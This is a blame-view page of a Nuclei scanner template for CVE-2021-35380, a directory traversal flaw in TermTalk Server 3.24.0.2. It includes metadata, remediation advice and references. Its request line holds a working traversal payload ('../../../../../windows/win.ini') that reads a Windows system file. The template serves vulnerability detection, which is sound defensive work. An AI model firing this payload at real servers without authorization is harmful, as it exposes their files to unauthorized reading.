daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-35380.yaml

45 lines
1.7 KiB
YAML
Raw Normal View History

Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
id: CVE-2021-35380
info:
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
name: TermTalk Server 3.24.0.2 - Local File Inclusion
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
author: fxploit
severity: high
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
description: |
Dashboard Content Enhancements (#6526) Dashboard Content Enhancements
2023-01-16 17:41:15 +00:00
TermTalk Server (TTServer) 3.24.0.2 is vulnerable to file inclusion which allows unauthenticated malicious user to gain access to the files on the remote system by providing the relative path of the file they want to retrieve.
Added Impact
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest patch or upgrade to a non-vulnerable version of TermTalk Server.
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
reference:
- https://www.swascan.com/solari-di-udine/
- https://www.exploit-db.com/exploits/50638
- https://nvd.nist.gov/vuln/detail/CVE-2021-35380
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
- https://www.swascan.com/it/security-blog/
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
classification:
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
cve-id: CVE-2021-35380
Auto Generated CVE annotations [Mon Sep 5 11:04:01 UTC 2022] :robot:
2022-09-05 11:04:01 +00:00
cwe-id: CWE-22
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot:
2023-12-12 11:07:52 +00:00
epss-score: 0.23467
epss-percentile: 0.96102
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:solari:termtalk_server:3.24.0.2:*:*:*:*:*:*:*
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: solari
product: termtalk_server
tags enhancements
2023-12-05 09:50:33 +00:00
tags: cve,cve2021,termtalk,lfi,unauth,lfr,edb,solari
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
- method: GET
path:
- "{{BaseURL}}/file?valore=../../../../../windows/win.ini"
matchers:
- type: word
Update CVE-2021-35380.yaml
2022-09-05 04:47:57 +00:00
part: body
Create CVE-2021-35380.yaml Directory Traversal vulnerability exists in Solari di Udine TermTalk Server (TTServer) 3.24.0.2, which lets an unauthenticated malicious user gain access to the files on the remote system by gaining access to the relative path of the file they want to download.
2022-09-03 06:19:17 +00:00
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
Auto Template Signing [Fri Dec 29 09:30:43 UTC 2023] :robot:
2023-12-29 09:30:44 +00:00
# digest: 490a0046304402207cb73d9a3d5cb8ca022f60f7282cf4d1925c1bfe37630cc2c0550f5a37b2f30202205bc9f7650e7395e56dec3d1b2d2f18b1f32a600caa0794448efd6425b586f5c8:922c64590222798bb761d5b6d8e72950